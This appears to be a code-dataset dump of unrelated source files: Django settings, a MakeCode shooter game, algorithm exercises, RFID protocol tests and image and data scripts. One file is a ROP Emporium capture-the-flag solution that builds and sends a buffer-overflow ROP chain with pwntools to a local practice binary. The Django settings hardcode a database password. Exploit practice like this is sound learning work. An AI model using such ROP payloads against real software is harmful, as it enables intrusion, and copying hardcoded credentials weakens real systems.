# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'bootstrap3',
'news.apps.NewsConfig',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'tribune.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
'django.template.context_processors.media',
],
},
},
]
WSGI_APPLICATION = 'tribune.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.11/ref/settings/#databases
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.sqlite3',
# 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
# }
# }
# Password validation
# https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.11/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'Africa/Kigali'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.11/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = [
os.path.join(BASE_DIR, "static"),
]
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'tribune',
'USER': 'wecode',
'PASSWORD':'etretr39',
}
}
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
| [
"[email protected]"
] | |
46a3a35f2d53b4bd0be67f8c736f96b172e90048 | c64bb34a3dde14d3c9bf813bde414a7b3f10611d | /om_account_accountant/ommat_catalogue/models/__init__.py | adc746cc6108d93aeb7d5af1bfe8855fcc16cab8 | [] | no_license | sm2x/my_work | ebf2e1abd06191ee59b0d82a23534274a81a3195 | efc469aee4cd20b038d48d4c09f8257f3f04ba1c | refs/heads/master | 2021-01-07T20:41:45.254025 | 2020-02-12T16:02:46 | 2020-02-12T16:02:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 346 | py | # -*- coding: utf-8 -*-
from . import models
from . import flock_model
from . import week_model
from . import catalogue
from . import ommat_mrp_bom
from . import models_stock
from . import check_create_moves
from . import check_cycle_wizard
from . import check_payment
from . import checks_fields
from . import report_check_cash_payment_receipt
| [
"[email protected]"
] | |
9b0a0dcb559ded011050cb272e364c575b57a749 | 1a3c38f737656907ea567c10104f1a86b57b1ee5 | /main.py | 75618a070f5c32d006e4ea8c1cd65562f3c94bbe | [] | no_license | rizal72/spacex | ebd1df562ace0982dbda5e1a91eeaf9876b88b5b | e55d8f8e5a2d00a70c6d49f54cfd988a0d04aeb1 | refs/heads/master | 2023-03-03T20:30:57.768680 | 2021-02-08T22:51:16 | 2021-02-08T22:51:16 | 336,438,292 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25,681 | py | @namespace
class SpriteKind:
counter = SpriteKind.create()
enemyProjectile = SpriteKind.create()
def on_b_pressed():
global bombs
if bombs > 0:
playerShip.start_effect(effects.halo, 1500)
for enemyShip in sprites.all_of_kind(SpriteKind.enemy):
enemyShip.destroy(effects.disintegrate, 200)
info.change_score_by(1)
music.pew_pew.play()
music.power_up.play()
scene.camera_shake(4, 1000)
bombs += -1
controller.B.on_event(ControllerButtonEvent.PRESSED, on_b_pressed)
def on_a_pressed():
global playerShot
playerShot = sprites.create_projectile_from_sprite(assets.image("""
shot
"""), playerShip, 200, 0)
music.pew_pew.play()
controller.A.on_event(ControllerButtonEvent.PRESSED, on_a_pressed)
def startGame():
global playerShip, bombs, bombCount, bombCountN
scene.set_background_image(img("""
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"""))
playerShip = sprites.create(assets.image("""
ship
"""), SpriteKind.player)
animation.run_image_animation(playerShip,
assets.animation("""
ship_anim
"""),
250,
True)
playerShip.set_flag(SpriteFlag.STAY_IN_SCREEN, True)
controller.move_sprite(playerShip, 100, 100)
info.set_life(3)
bombs = 3
bombCount = sprites.create(assets.image("""
bcounter
"""), SpriteKind.counter)
bombCount.set_position(40, 5)
bombCountN = sprites.create(assets.image("""
image5
"""), SpriteKind.counter)
bombCountN.set_position(52, 5)
def on_on_overlap(sprite, otherSprite):
global bombs
if bombs < 3:
otherSprite.destroy(effects.halo, 100)
music.power_up.play()
bombs += 1
sprites.on_overlap(SpriteKind.player, SpriteKind.food, on_on_overlap)
def on_on_overlap2(sprite, otherSprite):
otherSprite.destroy(effects.disintegrate, 200)
sprite.destroy()
info.change_score_by(1)
sprites.on_overlap(SpriteKind.projectile, SpriteKind.enemy, on_on_overlap2)
def on_on_overlap3(sprite, otherSprite):
otherSprite.destroy(effects.fire, 100)
music.jump_down.play()
info.change_life_by(-1)
sprites.on_overlap(SpriteKind.player, SpriteKind.enemy, on_on_overlap3)
enemyShot: Sprite = None
enemyShip2: Sprite = None
bomb: Sprite = None
star: Sprite = None
bombCountN: Sprite = None
bombCount: Sprite = None
playerShot: Sprite = None
playerShip: Sprite = None
bombs = 0
scene.set_background_image(assets.image("""
intro
"""))
music.set_volume(100)
game.splash("Press 'A' to shoot laser", "Press 'B' for Nuclear Bomb")
startGame()
def on_on_update():
global star
if Math.percent_chance(25):
star = sprites.create_projectile_from_side(assets.image("""
star
"""), randint(-80, -100), 0)
star.set_position(scene.screen_width(), randint(0, scene.screen_height()))
star.set_flag(SpriteFlag.GHOST, True)
star.set_flag(SpriteFlag.AUTO_DESTROY, True)
bombCountN.say(bombs)
game.on_update(on_on_update)
def on_update_interval():
global bomb
bomb = sprites.create(assets.image("""
bomb
"""), SpriteKind.food)
bomb.set_velocity(randint(-50, -80), randint(5, 20))
bomb.left = scene.screen_width()
bomb.y = randint(6, scene.screen_height() - 6)
bomb.set_flag(SpriteFlag.AUTO_DESTROY, True)
game.on_update_interval(randint(30000, 60000), on_update_interval)
def on_forever():
music.play_melody("E B C5 A B G A F ", 120)
music.play_melody("E B C5 A B G A F ", 120)
music.play_melody("E D G F B A C5 B ", 120)
music.play_melody("E D G F B A C5 B ", 120)
forever(on_forever)
def on_update_interval2():
global enemyShip2, enemyShot
enemyShip2 = sprites.create(assets.image("""
enemy
"""), SpriteKind.enemy)
animation.run_image_animation(enemyShip2,
assets.animation("""
enemy_anim
"""),
200,
True)
enemyShip2.set_velocity(randint(-50, -80), 0)
enemyShip2.left = scene.screen_width()
enemyShip2.y = randint(6, scene.screen_height() - 6)
enemyShip2.set_flag(SpriteFlag.AUTO_DESTROY, True)
if Math.percent_chance(33):
enemyShot = sprites.create_projectile_from_sprite(assets.image("""
enemyshot
"""), enemyShip2, -120, 0)
enemyShot.set_kind(SpriteKind.enemy)
enemyShot.set_flag(SpriteFlag.AUTO_DESTROY, True)
game.on_update_interval(500, on_update_interval2)
| [
"[email protected]"
] | |
a23f606cccb1954cd33031630f58fbc3cd8c80a3 | 8c10ac0cda0c80dbc46b8cd8ed44e42d7a2a2875 | /剑指/39 数组中出现次数超过一半的数字/39.py | 53d36482e67292d9b20573bb0be0b0816e52dbba | [] | no_license | snooowman/leecode | 8a55b942ef2d9abde9e4eb3e9ef16b062c286c01 | 224dec07019c2488b277a20cabffd5e7f5ad31f1 | refs/heads/main | 2023-04-15T10:04:25.500424 | 2021-04-26T15:58:22 | 2021-04-26T15:58:22 | 325,981,423 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 573 | py | # -*- coding:utf-8 -*-
class Solution(object):
def majorityElement(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
# 排序
# nums.sort()
# return nums[int(len(nums)/2)]
#hash map
dic = {}
for i in nums:
if i in dic:
dic[i] += 1
if dic[i] > int(len(nums)/2):
return i
else:
dic[i] = 1
if __name__ == '__main__':
s = Solution()
print(s.majorityElement([1, 2, 3, 2, 2, 2, 5, 4, 2])) | [
"[email protected]"
] | |
ca99a6249fa59e8f11f04803bc4bd885e30cfeb6 | 9a0972c17f7948690d08600e8c58f86334e8d34b | /计时器/MyTimer.py | 7dc580fdc86badf29e10dcaea001c595108f6da5 | [] | no_license | Xiaomifeng98/Python_File | 005b1ba717e7f0330e5a5d2fc3e7745b70b56100 | 357e8bde15e5508e54f4ee87efa68d4586402131 | refs/heads/master | 2022-11-09T04:39:23.764772 | 2020-06-29T14:03:02 | 2020-06-29T14:03:02 | 240,662,339 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,700 | py | import time as t
class MyTimer():
def __init__(self):
self.unit = [' year(s)', ' month' , ' day', ' hour', ' minute', ' second.']
self.prompt = 'Timing not started'
self.lasted = []
self.start_num = 0
self.stop_num = 0
def __str__(self):
return self.prompt
__repr__ = __str__
def __add__(self, other):
prompt = 'Total running time is: '
result = []
for index in range(6):
result.append(self.lasted[index] + other.lasted[index])
if result[index]:
prompt += (str(result[index]) + self.unit[index])
return prompt
#_________________________________________________________Start the timer
def start(self):
self.start_num = t.localtime()
self.prompt = 'Tips: please call stop() to stop timing.'
print('Start the timer.')
#_________________________________________________________Stop the timer
def stop(self):
if not self.start_num:
print('Tips: please call start() to start timing.')
else:
self.stop_num = t.localtime()
self._calc()
print('Stop the timer.')
# _________________________________Internal method: calculate running time
def _calc(self):
self.lasted = []
self.prompt = 'Total running time is: '
for index in range(6):
self.lasted.append(self.stop_num[index] - self.start_num[index])
if self.lasted[index]:
self.prompt += (str(self.lasted[index]) + self.unit[index])
#Initialize variables for the next round.
self.start_num = 0
self.stop_num = 0
| [
"[email protected]"
] | |
e9ac0b76963cb9cd14111bf20698c8b8425896f4 | 7b8ab82421ea57f4b3b56a94f519ae402a2b1ce6 | /tests.py | dc421656095a7722e28bc00bd5db2ffedb3ff1a8 | [] | no_license | zkings125/G2C1Messages | 51db76193f813c4755fab581b0f5c961c48eaf8c | 696571db9925aa2b9842ff5c4d787d70cb35c4e0 | refs/heads/master | 2023-03-05T23:47:34.872013 | 2021-02-16T16:11:59 | 2021-02-16T16:11:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,826 | py | from g2c1.base import crc5, pulsesToSamples # to test checksum and convert pulses to samples
from g2c1.messages import Query, QueryRep, fromBits # to test commands
from g2c1.command import Reader # to test reader functionalities
from g2c1.respond import Tag # to test tag functionalities
def visualizePulses(pulses, samplerate=1e6, reportLens=True):
# print out pulse-lenghts
if reportLens:
print('{} pulses lengths [us]: {}'.format(len(pulses), pulses))
# visualize pulses as sample magnitudes
samples = pulsesToSamples(pulses, samplerate)
sampleStr = ''.join('_' if s < 0.5 else '\u203e' for s in samples)
print('Pulse magnitudes: {}'.format(sampleStr))
def testCRC5():
'''
Tests the crc5 checksum function
'''
print('Testing CRC5 checksum')
dataBits = [1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1]
validCRC = [1, 0, 0, 0, 1]
# check checksum generation
testCRC = crc5(dataBits)
if testCRC != validCRC:
raise ValueError('Invalid checksum {} for bits {}'.format(testCRC, dataBits))
# check data+checksum match
check = crc5(dataBits+validCRC)
if not all(b == 0 for b in check):
raise ValueError('Invalid checksum check {} for bits+crc {}'.format(check, dataBits+validCRC))
def testMessage(Msg, validValues, validBits):
'''
Tests a message
'''
print('Testing '+Msg.__name__)
msg = Msg(*validValues)
# test to bits
testBits = msg.toBits()
if testBits != validBits:
raise ValueError('Invalid bits {} for {}'.format(testBits, msg))
# test to values
msgEmpty = Msg(*(len(validValues)*[None]))
msgEmpty.fromBits(validBits)
if not all(v == part.value for v, part in zip(validValues, msgEmpty.parts[1:])):
raise ValueError('Invalid values in {} for bits {}'.format(msgEmpty, validBits))
# test lookup
msgLookup = fromBits(validBits)
if msgLookup != msg:
raise ValueError('Invalid values in looked up message {} from bits {}'.format(msgLookup, validBits))
def testReader(Msg):
'''
Tests the generation of reader commands
'''
reader = Reader()
msg = Msg()
print('Testing commander with {}'.format(msg))
pulses = reader.toPulses(msg)
visualizePulses(pulses)
def testTag(Msg):
'''
Tests the parsing of reader commands
'''
# generate samples from reader command
reader = Reader()
msg = Msg()
print('Testing responder with {}'.format(msg))
pulses = reader.toPulses(msg)
samples = pulsesToSamples(pulses)
samples += [max(samples)] # artifical CW to trigger last raising edge
# try to parse with tag
tag = Tag()
edges = tag.samplesToEdges(samples)
cmd = tag.fromEdges(edges)[0]
# check if same
if cmd.bits != msg.toBits():
print('actual pulses: {}'.format(pulses))
print('parsed edge durations: {}'.format(edges))
print('parsed bits: {}'.format(cmd.bits))
print('actual bits: {}'.format(msg.toBits()))
raise ValueError('Invalid parsed bits')
# check if messages was parsed
if cmd.message != msg:
print(cmd.message)
raise TypeError('Bits where not converted to correct message')
def testPhysical():
'''
Tests the physical execution of commands with
the sequencer via serial port
'''
from rtlsdr import RtlSdr # for controlling the RTL SDR
from multiprocessing.pool import ThreadPool # for simultaneous function execution
import matplotlib.pyplot as plt # for plotting
import numpy as np # for array math
from matplotlib.mlab import psd, specgram # for fft
from scipy import signal # for filtering
tariUs = 12 # reader data-0 length in us
freqMHz = 866.3 # reader center frequency
blfMHz = 0.32 # tag backscatter link frequency
# generate pulses
reader = Reader(tariUs, blfMHz, 'COM4')
# init sdr
sdr = RtlSdr(serial_number='00000001')
sdr.sample_rate = 2.048e6
sdr.center_freq = freqMHz*1e6
sdr.gain = 0
sdr.read_samples(sdr.sample_rate*0.05) # dummy read
# get samples asyncronously...
pool = ThreadPool(processes=1)
sampling = pool.apply_async(sdr.read_samples, (sdr.sample_rate*0.05,))
# ...while sending command
reader.enablePower()
msg = Query(m=8, trExt=True)
print('Testing physically with {}'.format(msg))
reader.sendMsg(msg)
msg = Query(m=1, trExt=False, q=1)
print('Testing physically with {}'.format(msg))
reader.sendMsg(msg)
msg = QueryRep()
print('Testing physically with {}'.format(msg))
reader.sendMsg(msg)
reader.enablePower(False)
# block until samples are aquired
samples = sampling.get()
# plot
_, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(12, 10))
blfStyle = {'linewidth': 1, 'linestyle': 'dashed', 'alpha': 0.6}
# time domain
timeSec = np.arange(len(samples))/sdr.sample_rate
ax1.plot(timeSec, np.abs(samples), linewidth=0.5)
ax1.set_xlabel('time [s]')
ax1.set_ylabel('magnitude')
ax1.set_title('Observed communication with \n'
'tari: {}us, freq: {}MHz, blf: {}MHz'.format(tariUs, freqMHz, blfMHz))
ax1.grid()
# frequency domain
nFFT = 512
maxHold = False
if maxHold:
traces, _, _ = specgram(samples, NFFT=nFFT)
trace = np.max(traces, axis=1) # max hold over time
else:
trace, _ = psd(samples, NFFT=nFFT)
trace = 20*np.log10(trace) # to dB
freqsMHz = np.linspace(sdr.center_freq-sdr.sample_rate/2, sdr.center_freq+sdr.sample_rate/2, nFFT)/1e6
ax2.plot(freqsMHz, trace, linewidth=0.5)
ax2.set_xlabel('frequency [MHz]')
ax2.set_ylabel('magnitude [dB]')
ax2.grid()
# mark tag response
ax2.axvline(freqMHz-blfMHz, color='r', **blfStyle)
ax2.axvline(freqMHz+blfMHz, color='r', label='backscatter frequency', **blfStyle)
ax2.legend(loc='upper right')
# spectrogram
traces, _, _ = specgram(samples)
traces = np.clip(20*np.log10(traces), -100, -30)
ax3.imshow(traces, extent=(timeSec[0], timeSec[-1], freqsMHz[0], freqsMHz[-1]), aspect='auto', cmap='jet')
ax3.axhline(freqMHz-blfMHz, color='w', **blfStyle)
ax3.axhline(freqMHz+blfMHz, color='w', label='backscatter frequency', **blfStyle)
ax3.legend(loc='upper right')
ax3.set_xlabel('time [s]')
ax3.set_ylabel('frequency [MHz]')
# try to parse with tag
tag = Tag()
edges = tag.samplesToEdges(np.abs(samples), sdr.sample_rate)
print('Parsed raising edge durations: {}'.format(edges))
cmds = tag.fromEdges(edges)
for cmd in cmds:
print('Parsed edges: {}'.format(cmd.edges))
print('Parsed bits: {}'.format(cmd.bits))
print('Parsed message: {}'.format(cmd.message))
if cmd.blf:
print('Parsed BLF: {} kHz'.format(int(cmd.blf*1e3)))
print('Parsed Tari: {} us'.format(cmd.tari))
ax1.axvline(cmd.start/1e6, color='g')
ax1.axvline(cmd.end/1e6, color='g')
txt = str(cmd.bits) if not cmd.message else str(cmd.message)
txt += '\nTari: {:.1f} us'.format(cmd.tari)
if cmd.blf:
txt += ', BLF: {} kHz'.format(int(cmd.blf*1e3))
ax1.text(cmd.start/1e6, 0.5*np.max(np.abs(samples)), txt, color='g', backgroundcolor='w')
plt.show()
def testPhysicalQueryCombos():
'''
Tests the physical execution of different commands with
the sequencer via serial port
'''
print('Testing physical query parameter combinations')
drs = (8, 64/3)
blfs = (0.1, 0.2, 0.3, 0.4)
millers = (1, 2, 4, 8)
pilots = (False, True)
taris = range(7, 25)
# prepare reader
reader = Reader(port='COM4')
reader.enablePower()
for dr in drs:
for blf in blfs:
for miller in millers:
for pilot in pilots:
for tari in taris:
# set protocol parameters
msg = Query(dr, miller, pilot)
reader.tari = tari
reader.blf = blf
try:
reader.sendMsg(msg)
except:
raise IOError('Could not send {}'.format(msg))
reader.enablePower(False)
if __name__ == '__main__':
testCRC5()
testMessage(
Query,
[64/3, 1, False, 'all1', 1, 'b', 1],
[1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1])
testReader(Query)
testReader(QueryRep)
testTag(Query)
testTag(QueryRep)
try:
#testPhysicalQueryCombos()
testPhysical()
except ImportError:
print('Physical test requires additional packages')
except IOError:
print('No device for physical test found')
| [
"[email protected]"
] | |
4b8abb52dd2a8f97e71ec003358f1f0248c5fab0 | 2e29ed138ab0fdb7e0a6e87b7c52c097b350fecf | /SA-PreciousMetals/PathXY.py | fa4653caf5d0cd64d7c9b72ba50da2c21e9cf342 | [] | no_license | ronniegeiger/Abaqus-Scripts | 1e9c66664bd7dc7e5264bf763f15936eadcff529 | c071bbfe0e6c54148dfd4a23f786f017dfef4ae4 | refs/heads/master | 2023-03-18T06:33:13.690549 | 2018-08-14T11:37:07 | 2018-08-14T11:37:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 837 | py | # -*- coding: utf-8 -*-
"""
Created on Tue May 03 09:17:22 2016
@author: Jack
"""
from abaqus import *
from abaqusConstants import *
import __main__
import section
import regionToolset
import displayGroupMdbToolset as dgm
import part
import material
import assembly
import step
import interaction
import load
import mesh
import optimization
import job
import sketch
import visualization
import xyPlot
import displayGroupOdbToolset as dgo
import connectorBehavior
for i in range(1,10):
pathName = 'Path-'+str(i)
pth = session.paths[pathName]
session.XYDataFromPath(name='V2-'+str(i)+'0% - Original Design', path=pth, includeIntersections=True,
projectOntoMesh=False, pathStyle=PATH_POINTS, numIntervals=10,
projectionTolerance=0, shape=DEFORMED, labelType=TRUE_DISTANCE)
| [
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] | |
0c0c8071a7b099fcfc99f95dd1e5667ed074117d | d9af28764d8022612c8dcc2fc18e32d729f82e0e | /callme/x64/solution.py | f43bfe48701705c78f3efc99bc9b6b98b358fab4 | [] | no_license | tylerwarre/rop-emporium | 31518c4a6562ef0841a9a6db541fc7fb024c903a | fcd027e799d675fd50c0d6a603ee54d640f3b5e2 | refs/heads/main | 2023-07-19T02:39:08.166968 | 2021-09-22T21:12:20 | 2021-09-22T21:12:20 | 407,247,660 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,159 | py | from pwn import *
context.arch = 'amd64'
prog = process("./callme")
# 0x000000000040093c: pop rdi; pop rsi; pop rdx; ret;
pop_0 = p64(0x000000000040093c)
# function argument 1
arg_0 = p64(0xdeadbeefdeadbeef)
# function argument 2
arg_1 = p64(0xcafebabecafebabe)
# function argument 3
arg_2 = p64(0xd00df00dd00df00d)
# callme_one()
func_callme_one = p64(0x0000000000400720)
# callme_two()
func_callme_two = p64(0x0000000000400740)
# callme_three()
func_callme_three = p64(0x00000000004006f0)
payload = b'a' * 40
# pop rdi, rsi, rdx
payload += pop_0
payload += arg_0
payload += arg_1
payload += arg_2
# call callme_one()
payload += func_callme_one
# pop rdi, rsi, rdx
payload += pop_0
payload += arg_0
payload += arg_1
payload += arg_2
# call callme_two()
payload += func_callme_two
# pop rdi, rsi, rdx
payload += pop_0
payload += arg_0
payload += arg_1
payload += arg_2
# call callme_three()
payload += func_callme_three
print(payload)
with open("./payload.txt", "wb+") as f:
f.write(payload)
output = prog.recvuntil(">")
print(output.decode("utf-8"))
prog.clean()
prog.sendline(payload)
output = prog.recvall()
print(output.decode("utf-8"))
| [
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] | |
a9ab0da8a3547a01c743cd7ebeeb97bd5a455405 | d0e43084ab6891c5ddaffa92ff1796835a580361 | /Processamento Imagens/Processamentos/Redimensionar_Imagens/redimensionar.py | f2f052d08b72ac2263eb9a90a81b896af3515426 | [] | no_license | VQCarneiro/IMEP-Inovacoes_No_Melhoramento_De_Plantas | 293d09ca35c96d6e370d083420de8c9086ab8e78 | f6e741cdacdcac36148195575c8cccc8fa15895a | refs/heads/master | 2020-08-01T17:59:18.260830 | 2019-10-14T16:29:48 | 2019-10-14T16:29:48 | 211,068,995 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,477 | py | ########################################################################################################################
# Lavras - MG, 11/10/09/2019, 10:48
# Desenvolvedor: Vinícius Quintão Carneiro - Professor da Universidade Federal de Lavras - UFLA
# E-mail: [email protected]
# Github: VQCarneiro
########################################################################################################################
# Importar pacotes
import cv2 # Importa o pacote opencv
import numpy as np # Importa o pacote numpy
from matplotlib import pyplot as plt # Importa o pacote matplotlib
import imutils
########################################################################################################################
# Leitura da imagem
img = cv2.imread('exemplo_01.jpg',1) # Carrega imagem colorida em BGR
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
lin, col, canais = np.shape(img)
print('Dimensão: ' + str(lin) +' x '+ str(col))
print('Número de Canais: ' + str(canais))
########################################################################################################################
# Redimensionar
# Ajustando o número de linhas para 150 pixels
r1 = 150/img.shape[1]
print(r1)
dim1=(150,int(img.shape[0]*r1))
print(dim1)
img_red1 = cv2.resize(img,dim1,interpolation=cv2.INTER_AREA)
# Ajustando o número de linhas para 50 pixels
r2 = 50/img.shape[0]
print(r2)
dim2=(int(img.shape[1]*r2),50)
print(dim2)
img_red2 = cv2.resize(img,dim2,interpolation=cv2.INTER_AREA)
########################################################################################################################
# Usando a função translação do pacote imutils
img_red3 = imutils.redimensionar(img,largura = 150)
img_red4 = imutils.redimensionar(img,comprimento = 50)
########################################################################################################################
# Apresentar imagens na tela
plt.figure('Transformações imagens')
plt.subplot(2,3,1)
plt.imshow(img)
plt.title('Imagem')
plt.subplot(2,3,2)
plt.imshow(img_red1)
plt.title('Redimensionar (150 x 150)')
plt.subplot(2,3,3)
plt.imshow(img_red2)
plt.title('Redimensionar (50 x 50)')
plt.subplot(2,3,5)
plt.imshow(img_red3)
plt.title('Redimensionar (150 x 150)')
plt.subplot(2,3,6)
plt.imshow(img_red4)
plt.title('Redimensionar (50 x 50)')
plt.show()
########################################################################################################################
| [
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] | |
aab97c0a0be9fcc62d93fda4f11ec07440987772 | f616d9598727777943a6c1eac8d2c54c4e5fab9f | /nqmc_download_measure_xml.py | dc5f211ff8c0e7130b2ca29162f222219226dd11 | [] | no_license | capdevc/mms_nlp | 255d28fe537d344f0d1e508766021c209ee03b8a | 16b5855d3e986e351256ff550e62a0977cccb335 | refs/heads/master | 2021-01-20T12:21:51.018162 | 2015-02-09T14:29:29 | 2015-02-09T14:29:29 | 30,080,867 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 594 | py | #!/usr/bin/env python
from __future__ import division, print_function
'''
@uthor: Steven Keith Shook II
November 19, 2014
Purpose: Download files from a website.
Problem:
Splinter Library Docs
https://splinter.readthedocs.org/en/latest/
'''
import sys
import time
from splinter import Browser
with Browser('firefox',
profile='/home/cc/.mozilla/firefox/0wnvf6xn.default') as browser:
for url in sys.stdin:
browser.visit(url)
download_link = browser.find_by_id('ctl00_ContentPlaceHolder1_lbXMLDownload')
download_link.click()
time.sleep(1)
| [
"[email protected]"
] | |
5d88c4071f3ab599662a054d316761b474431fb3 | 66634946aec18840c00b0e568c41faf3e9f473e7 | /Level1/Lessons12947/yang_12947.py | d2ab05419fc2d5728f745b71ed3884e6f437849e | [
"MIT"
] | permissive | StudyForCoding/ProgrammersLevel | 0525521b26ad73dcc1fe58a1b2f303b613c3a2f6 | dc957b1c02cc4383a93b8cbf3d739e6c4d88aa25 | refs/heads/main | 2023-08-14T23:15:53.108351 | 2021-10-05T16:04:32 | 2021-10-05T16:04:32 | 354,728,963 | 0 | 1 | MIT | 2021-10-05T16:04:33 | 2021-04-05T05:26:25 | Python | UTF-8 | Python | false | false | 894 | py | #하샤드 수
def solution(x):
answer = 0
for idx in str(x):
answer += int(idx)
if x % answer == 0:
return True
else:
return False
# 테스트 1 〉 통과 (0.02ms, 10.3MB)
# 테스트 2 〉 통과 (0.02ms, 10.3MB)
# 테스트 3 〉 통과 (0.02ms, 10.3MB)
# 테스트 4 〉 통과 (0.02ms, 10.3MB)
# 테스트 5 〉 통과 (0.02ms, 10.3MB)
# 테스트 6 〉 통과 (0.02ms, 10.3MB)
# 테스트 7 〉 통과 (0.03ms, 10.4MB)
# 테스트 8 〉 통과 (0.02ms, 10.3MB)
# 테스트 9 〉 통과 (0.02ms, 10.3MB)
# 테스트 10 〉 통과 (0.02ms, 10.4MB)
# 테스트 11 〉 통과 (0.02ms, 10.4MB)
# 테스트 12 〉 통과 (0.02ms, 10.3MB)
# 테스트 13 〉 통과 (0.02ms, 10.3MB)
# 테스트 14 〉 통과 (0.02ms, 10.4MB)
# 테스트 15 〉 통과 (0.02ms, 10.3MB)
# 테스트 16 〉 통과 (0.02ms, 10.3MB)
# 테스트 17 〉 통과 (0.02ms, 10.3MB) | [
"[email protected]"
] | |
f9dbf2cf84c8504d958ff6691955b94edf461ea1 | 29ca165f964258609a449faf6612e356d5f9f230 | /Monk and the Islands.py | 6ce78afc617c2dd8f02fbbb83c14a7bbfedc66a2 | [] | no_license | divanshu79/hackerearth-solution | a94b7dfb36e36c032741fb563dcf54a746b6d991 | dd8e9341583ad0309d2a6727381edb814fcf1e78 | refs/heads/master | 2020-03-25T07:56:36.200247 | 2018-08-05T06:46:09 | 2018-08-05T06:46:09 | 143,589,682 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 593 | py | l_out = []
def graph(x):
for i in range(1,x+1):
l_in = []
for j in range(1,x+1):
l_in.append(100000)
l_out.append(l_in)
for _ in range(int(input())):
a,b = list(map(int,input().split()))
p = max(a,b)
graph(p)
#print(p)
print(l_out)
for i in range(b):
x,y = list(map(int,input().split()))
l_out[x-1][y-1] = 1
l_out[y-1][x-1] = 1
for k in range(p):
for i in range(p):
for j in range(p):
u = l_out[i][k]+l_out[k][j]
v = l_out[i][j]
if(u < v):
l_out[i][j] = l_out[i][k]+l_out[k][j]
print(l_out[0][p-1])
l_out = []
| [
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] | |
321c7bb1b683e8bc2174001fc3b4d9f68766a589 | 67b64ec11375fabcf8a8ca5b61ac01fb978d0791 | /assetstracker/apps.py | 347a7005b127ce90a7435f7bf0a3e4c6b4c33601 | [] | no_license | mahmoodkhan/assetappbackend | d7d1c43cece9da74396e48bf514b6a128941abe6 | 4477b061902f229905a0a7c90441ed6465ba854f | refs/heads/master | 2021-01-13T14:48:15.288280 | 2017-05-04T04:06:56 | 2017-05-04T04:06:56 | 76,569,376 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 142 | py | from __future__ import unicode_literals
from django.apps import AppConfig
class AssetstrackerConfig(AppConfig):
name = 'assetstracker'
| [
"[email protected]"
] | |
d46d2ddaf527788aea4f670fe738735dca5fd153 | b4437c0207ea83b575df297385af360fcafa94dc | /import_scripts/insert_tsv_mongodb.py | f03941497422b68a6a8017580d0578d99aedb9a3 | [
"MIT"
] | permissive | cancerregulome/Addama | aac102bfb1e506d59303e3645fcfef26900be776 | 7db3d2459f207f44d382c4d16b4266c410c69325 | refs/heads/master | 2021-01-14T14:18:21.404313 | 2014-06-17T00:58:02 | 2014-06-17T00:58:02 | 23,677,922 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,910 | py | import argparse
import csv
import json
import pymongo
import sys
from importtools import DataFile, ImportConfig
TOGGLE_QUIET = False
DRY_RUN = False
class TypedTSV(DataFile):
def __init__(self, path, field_types=None, defaulttype=str):
super(TypedTSV, self).__init__(path)
self.fields = {}
self.defaulttype = defaulttype
if field_types is not None:
self.set_fields(field_types)
@classmethod
def fromdict(cls, file_dict):
return cls(file_dict['path'], file_dict.get("field_types"))
def get_value(self, field_name, value):
if field_name in self.fields:
return self.fields[field_name](value)
else:
return self.defaulttype(value)
def set_fields(self, field_types_dict):
type_map = {
"int": int,
"str": str,
"float": float
}
for name, datatype in field_types_dict.iteritems():
if datatype in type_map:
self.fields[name] = type_map[datatype]
else:
raise ValueError("Unknown datatype '" + datatype + "' for field '" + name + "'")
def info_print(msg):
global TOGGLE_QUIET
if TOGGLE_QUIET is False:
